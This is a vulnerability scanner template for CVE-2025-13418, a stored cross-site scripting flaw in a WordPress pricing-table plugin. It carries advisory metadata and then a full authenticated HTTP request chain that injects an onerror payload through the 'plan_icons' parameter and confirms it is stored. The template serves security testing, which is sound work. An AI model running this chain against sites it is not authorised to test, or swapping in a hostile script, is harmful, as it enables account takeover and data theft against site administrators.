The Responsive Pricing Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'plan_icons' parameter in all versions up to, and including, 5.1.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute when an admin views the pricing table edit page.
PoC代码[已公开]
id: CVE-2025-13418
info:
name: Responsive Pricing Table <= 5.1.12 - Cross-Site Scripting
author: Shivam Kamboj,Jay Jani
severity: medium
description: |
The Responsive Pricing Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'plan_icons' parameter in all versions up to, and including, 5.1.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute when an admin views the pricing table edit page.
impact: |
Authenticated authors can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users.
remediation: |
Update the Responsive Pricing Table plugin to version 5.1.13 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/5d28fd23-fa86-4353-b1b4-af61192f8482
- https://wordpress.org/plugins/dk-pricr-responsive-pricing-table/
- https://nvd.nist.gov/vuln/detail/CVE-2025-13418
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
cvss-score: 6.4
cve-id: CVE-2025-13418
epss-score: 0.00736
epss-percentile: 0.72316
cwe-id: CWE-79
metadata:
verified: true
max-request: 5
vendor: wpdarko
product: responsive-pricing-table
framework: wordpress
tags: cve,cve2025,wordpress,wp,wp-plugin,xss,responsive-pricing-table,authenticated
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, 'wordpress_logged_in')
condition: and
internal: true
- raw:
- |
GET /wp-admin/post-new.php?post_type=rpt_pricing_table HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'dmb_rpts_meta_box_nonce')"
condition: and
internal: true
extractors:
- type: regex
part: body
name: wpnonce
group: 1
regex:
- 'name="_wpnonce"[^>]*value="([^"]+)"'
internal: true
- type: regex
part: body
name: dmb_nonce
group: 1
regex:
- 'name="dmb_rpts_meta_box_nonce"[^>]*value="([^"]+)"'
internal: true
- type: regex
part: body
name: post_id
group: 1
regex:
- "id=['\"]post_ID['\"][^>]*value=['\"]([0-9]+)['\"]"
internal: true
- type: regex
part: body
name: meta_nonce
group: 1
regex:
- 'name="meta-box-order-nonce"[^>]*value="([^"]+)"'
internal: true
- type: regex
part: body
name: closed_nonce
group: 1
regex:
- 'name="closedpostboxesnonce"[^>]*value="([^"]+)"'
internal: true
- raw:
- |
POST /wp-admin/post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_wpnonce={{wpnonce}}&_wp_http_referer=%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Drpt_pricing_table&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=rpt_pricing_table&original_post_status=auto-draft&auto_draft=1&post_ID={{post_id}}&meta-box-order-nonce={{meta_nonce}}&closedpostboxesnonce={{closed_nonce}}&post_title=CVE-2025-13418+XSS+Test&hidden_post_status=draft&post_status=publish&visibility=public&publish=Publish&dmb_rpts_meta_box_nonce={{dmb_nonce}}&plan_titles%5B%5D=XSS+Test+Plan&plan_subtitles%5B%5D=&plan_recurrences%5B%5D=&plan_prices%5B%5D=99&plan_descriptions%5B%5D=&plan_features%5B%5D=Feature&plan_button_texts%5B%5D=Buy&plan_button_urls%5B%5D=&plan_custom_buttons%5B%5D=&plan_colors%5B%5D=%238dba09&are_recommended_plans%5B%5D=no&are_removed_currencies%5B%5D=no&plan_custom_classes%5B%5D=&plan_icons%5B%5D=x%27+onerror%3D%27alert%28document.domain%29%27+x%3D%27&table_currency=%24
matchers:
- type: dsl
dsl:
- "status_code == 302"
- "contains(header, 'message=')"
condition: and
internal: true
extractors:
- type: regex
part: header
name: created_post_id
group: 1
regex:
- 'post=([0-9]+)&action=edit'
internal: true
- raw:
- |
GET /wp-admin/post.php?post={{created_post_id}}&action=edit HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(body, " onerror='alert(document.domain)'")
- contains(body, "dmb_icon_data_url")
- status_code == 200
condition: and
extractors:
- type: regex
part: body
name: xss_payload_stored
group: 1
regex:
- 'data-icon="([^"]*onerror[^"]*)"'
# digest: 4b0a00483046022100d4e2b5bfdaa1322366cc18801d4eeaac9d21741c4fdda9b322925fded971349f022100a8dec54b5b72c91b434dbfaa12a8ad443c4265bd5ff49cdef847eb692034026c:922c64590222798bb761d5b6d8e72950